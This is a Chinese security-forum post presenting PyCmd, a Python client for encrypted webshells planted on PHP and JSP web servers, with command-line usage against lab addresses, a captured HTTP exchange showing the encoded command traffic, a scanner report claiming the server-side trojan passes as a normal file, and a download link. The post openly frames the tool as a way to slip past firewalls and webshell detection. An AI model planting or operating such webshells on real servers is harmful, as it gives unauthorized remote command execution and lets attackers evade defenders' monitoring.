

PyCmd加密隐形木马

[nmask](#) / 2017-07-14 09:18:01 / 浏览数 3593 [安全工具](#) [工具](#) [顶\(0\)](#) [踩\(0\)](#)

之前写了一个基于python的一句话木马客户端程序，这个程序的作用大致就是为了绕过防护设备，使敏感数据能在网络里自由穿梭。由于编程能力有限，当时以python程序

PyCmd使用

我这里准备了2个靶机，分别装有php与jsp的运行环境，用来模拟真实的网站服务器。
为了方便，我已经把服务端木马程序放到了服务器网站目录下：

- php网站木马地址：<http://10.0.3.13/test/p.php>
- jsp网站木马地址：<http://192.168.10.149:8080/Test/1.jsp>

此时，运行PyCmd.py程序：

```
python PyCmd.py -u http://10.0.3.13/test/p.php -p test [--proxy]
```

或者

```
python PyCmd.py -u http://192.168.10.149:8080/Test/1.jsp -p test [--proxy]
```

程序会自动判断输入的网站类型

输入参数：

- -h 查看帮助信息
- -u 网站木马地址
- -p 木马shell密码
- --proxy 开启本地代理（方便调试）

注：当开启本地调试，需运行Fiddler程序，或者其他抓包软件。

PyCmd数据加密

PyCmd程序的长处在于它对往来的数据进行了加密，可以绕过防火墙对数据内容的校验。

当执行cmd命令时，通过Fiddler抓包查看数据：

```
POST http://192.168.10.149:8080/Test/1.jsp HTTP/1.1
Accept-Encoding: identity
Content-Length: 419
Host: 192.168.10.149:8080
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)


username=6447567a6444314e4a6e6f77505564434d6a4d784d695a364d54307659324e745a413d3d&password=593251674c325

HTTP/1.1 200
Set-Cookie: JSESSIONID=4E1E629CCFB2F512ABE1178D05F1A761;path=/Test;HttpOnly
Content-Type: text/html; charset=GB2312
Content-Length: 374
Date: Sun, 18 Sep 2016 09:03:49 GMT
Connection: close

4c54353864326c754c5467344e476379617a6869646d526a5847466b62576c7561584e30636d46306233494e436c74545851304b
```

PyCmd木马隐身

用D盾扫描上传的木马服务端文件，显示为正常文件，成功躲过查杀

文件	级别	说明	大小	修改时间	验证值
 G:\github_tools\PyCmd\php.php	0	[正常]	239	2016-09-18 16:27:23	A944BD87

工具下载

PyCmd [下载地址](#)

原文地址：[pycmd 加密隐形木马](#)

点击收藏 | 0 关注 | 0

[上一篇：攻击JavaWeb应用1-9\[J...\]](#) [下一篇：Splash SSRF到获取内网服...](#)

1. 2 条回复



[hades](#) 2017-07-14 09:27:30

我们还是专业的 哈哈

0 回复Ta



[\[icon\]](#) 2017-07-14 11:39:44

谢分享，以后试试

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)